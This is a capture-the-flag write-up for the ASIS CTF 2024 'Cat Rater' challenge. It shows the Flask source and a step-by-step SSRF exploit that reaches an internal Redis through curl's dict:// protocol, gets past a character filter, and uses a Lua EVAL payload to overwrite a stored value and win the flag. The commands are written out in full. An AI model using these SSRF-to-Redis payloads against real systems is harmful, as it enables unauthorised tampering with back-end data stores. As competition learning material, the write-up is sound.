# Cat Rater - ASIS 2024 Quals
Here's my writeup for the **Cat Rater** challenge at **ASIS CTF 2024 Quals**
## Introduction
Here is the main code of the challenge
```python=
from flask import Flask, render_template, session, request, redirect, flash
import subprocess
import secrets
import random
import redis
import uuid
import os
import re
app = Flask(__name__)
app.secret_key = secrets.token_bytes(32)
flag = os.environ.get('FLAG','ASIS{test-flag}')
rds = redis.Redis(host='redis', port=6379)
uuidReg = re.compile(r'^[\da-f]{8}-([\da-f]{4}-){3}[\da-f]{12}$', re.IGNORECASE)
@app.route('/')
def index():
return render_template('main.html')
@app.route('/rate',methods=['POST'])
def rate():
link = request.form.get('link')
if not link or re.search(r'[\x00-\x20\[\]%{}\-]',link) or not link.isascii():
return 'Invalid link', 400, {'Content-Type': 'text/plain'}
try:
p = subprocess.run(["/usr/bin/curl",link],capture_output=True,timeout=0.5)
if(p.returncode == 0):
resultID = str(uuid.uuid4())
rds.set(resultID,str(random.randint(1,9)))
return redirect(f'/result?id={resultID}')
except Exception as e:
print(e)
return 'Something bad happened', 500, {'Content-Type': 'text/plain'}
@app.route('/result')
def result():
rid = request.args.get('id')
if(not rid):
return 'Result ID is missing', 400, {'Content-Type': 'text/plain'}
if(not uuidReg.match(rid)):
return 'Invalid ID', 400, {'Content-Type': 'text/plain'}
result = rds.get(rid)
if(not result):
return 'Result not found', 400, {'Content-Type': 'text/plain'}
result = int(result)
if(result == 10):
return render_template('result.html', msg=flag)
else:
return render_template('result.html', msg=f'Your cat got {result}/10')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)
```
# How to work
Let's describe the code:
in the `/rate` path, we can make a request to the specified `link` with the `curl` command, if *command* succesfully finished, it will set a random number from **1-9** to *UUID* as the redis key and redirect us to `/result?id=<UUID>`.
And we can grab the value of the `UUID` in the `/result` path, if the value of redis key is equal to **10**, the *flag* returns to us, otherwise the value of redis key returns
```shell
$ curl http://cat-rater.asisctf.com/rate -d "link=http://example.com" -L
...
Your cat got 6/10
...
```
# How to get the flag
In the first point of view, i couldn't find any vulnerability in code and i thought there is no way to set a key to *10*, after a preiod of time, i figured out there is a vuln, and that is `SSRF` in the `/rate` path.
So i thought what if we make a request to `redis:6379`, so i thought that **Is there a way to send commands to redis via curl?**
Alright let's dig into it :)
I've run a redis container in my local host and tried to connect and send command with curl, at first i tried this
```sh
$ curl localhost:6379
curl: (52) Empty reply from server
```
> Note: by default curl use *http* as the protocol here, certainly redis:6379 wasn't a http server
Ok so, i read the curl's manpage and tried to use other protocols that curl supports, after trying each protocol, these protocols was useful to connect to redis and sending commands to it
- GOPHER
- TELNET
- DICT
I ignored the *TELNET*, because it will reads the payloads from *stdin* instead of url
```shell
$ echo "PING" | curl telnet://localhost:6379
+PONG
```
Then i tried the *GOPHER* and yeap, i can send command from url :)
```shell
$ curl gopher://localhost:6379/PING
-ERR unknown command 'ING', with args beginning with:
$ curl gopher://localhost:6379/_PING
+PONG
<wait for stdin>
```
I thought that i found the solution, until i realized that i can't use any of these `r'[\x00-\x20\[\]%{}\-]` in the `link` query parameter that restricts `blankspace:" "`, `Hyphen:"-"` and so on
> At this point I just wrote a python script to FUZZ the "link" to find a char that valid for redis as a delimiter, but didn't found anything :/
BTW, if the `blankspace` wasn't filterd by server this could works
```shell
$ curl "gopher://localhost:6379/_SET%20foo%20bar"
+OK
```
> Note that to get the flag we need to send a valid uuid that match with the `uuidReg` in server, so we can't use **(Hyphens) -**
After trying the `GOPHER` i thought that the `DICT` works like the `GOPHER` and i can't use `blankspace` or `-`
So i open up the Redis document to see which commands doesn't require arguments, to don't force me to use `blankspace`, i didn't found anything useful
> I think i was overthinking too much to this challenge during competition :/
After a couple of hours and digging more, i read out this [page](https://everything.curl.dev/usingcurl/dict.html) about `DICT` and figured out that i can use **":"** as `blankspace` in the url and it will replace into *blankspace*
```shell
$ curl dict://localhost:6379/SET:foo:bar
-ERR unknown subcommand 'libcurl'. Try CLIENT HELP.
+OK
+OK
curl dict://localhost:6379/GET:foo
-ERR unknown subcommand 'libcurl'. Try CLIENT HELP.
$3
bar
+OK
```
Well, seems half of way done, but what about the `-`
```shell
$ curl http://cat-rater.asisctf.com/rate -d "link=dict://redis:6479/SET:cf56ea1a-5175-4dbf-8e8f-7b2a1845039d:10" -L
Invalid link
```
so what now :/
After more digging in redis document, i found a way and it was `EVAL` commands and Lua Scripting, there was some built-in functions in redis like `redis.call` that we can call a command from `Lua`
## The final payload
I used `KEYS` command to get a list of keys, and used `table.concat` to concatenate the list into string, note that you need to use `KEYS <FIRST-PART-OF-YOUR-UUID>*` to filter the result and make a list of one item, so the `table.concat` returns the `<UUID>`
> NOTE: also we can't use [] to get specific index of arrays in Lua
This won't work, because **"[]"** are restricted in server
```redis!
127.0.0.1:6379> EVAL "return redis.call('keys','*')[1]" 0
"cf56ea1a-5175-4dbf-8e8f-7b2a1845039d"
```
But with `table.concat`
```redis!
127.0.0.1:6379> KEYS *
1) "cf56ea1a-5175-4dbf-8e8f-7b2a1845039d"
2) "foo1"
3) "foo"
127.0.0.1:6379> EVAL "return table.concat(redis.call('keys','*'))" 0
"cf56ea1a-5175-4dbf-8e8f-7b2a1845039dfoo1foo"
```
Notice that the `foo1foo` at the end of result, those are other keys in the redis, this is because you have to filters out the `KEYS` command result to return only one item and it must be your **UUID**
```redis!
127.0.0.1:6379> SET cf56ea1a-5175-4dbf-8e8f-7b2a1845039d 1
OK
127.0.0.1:6379> KEYS cf56ea1*
1) "cf56ea1a-5175-4dbf-8e8f-7b2a1845039d"
127.0.0.1:6379> EVAL "return redis.call('keys', 'cf56ea1a*')" 0
1) "cf56ea1a-5175-4dbf-8e8f-7b2a1845039d"
```
Then use `SET` command to set the `UUID` to `10` like bellow:
```redis
127.0.0.1:6379> EVAL "return redis.call('set',table.concat(redis.call('keys', 'cf56ea1a*')),10)" 0
OK
127.0.0.1:6379> keys *
1) "cf56ea1a-5175-4dbf-8e8f-7b2a1845039d"
2) "foo1"
3) "foo"
127.0.0.1:6379> GET cf56ea1a-5175-4dbf-8e8f-7b2a1845039d
"10"
```
And yes the uuid becomes **10**
So let's grab the flag :)
#### Step one: Generating UUID
```
$ curl http://cat-rater.asisctf.com/rate -d "link=dict://redis:6379"
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/result?id=50fbc1ff-16ba-46a0-89e3-43b0f0ef2930">/result?id=50fbc1ff-16ba-46a0-89e3-43b0f0ef2930</a>. If not, click the link.
```
the uuid: **50fbc1ff-16ba-46a0-89e3-43b0f0ef2930**
#### Step two: Set UUID to 10
```shell
$ curl http://cat-rater.asisctf.com/rate --data-raw "link=dict://redis:6379/EVAL:\"redis.call('set',table.concat(redis.call('keys','50fbc1ff*')),10)\":0"
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
...
```
#### Step three and final step: Grab the flag
then just get the result of uuid
```shell
$ curl "http://cat-rater.asisctf.com/result?id=50fbc1ff-16ba-46a0-89e3-43b0f0ef2930"
...
ASIS{105eadeea7d6e4d26e09da6d52d1bea8}
...
```
# Conclusion
I know i did a lot of silly things during the competition like FUZZING for `link` query parameter to bypass `blankspace`, and also trying to find a command that does not need an argument, but after all I have learned a lot of things about Redis, curl and a little of Lua
This was one the easiest web challenge at *ASIS CTF 2024 Quals* and it was quiet fun for me, thank to the author of this challenge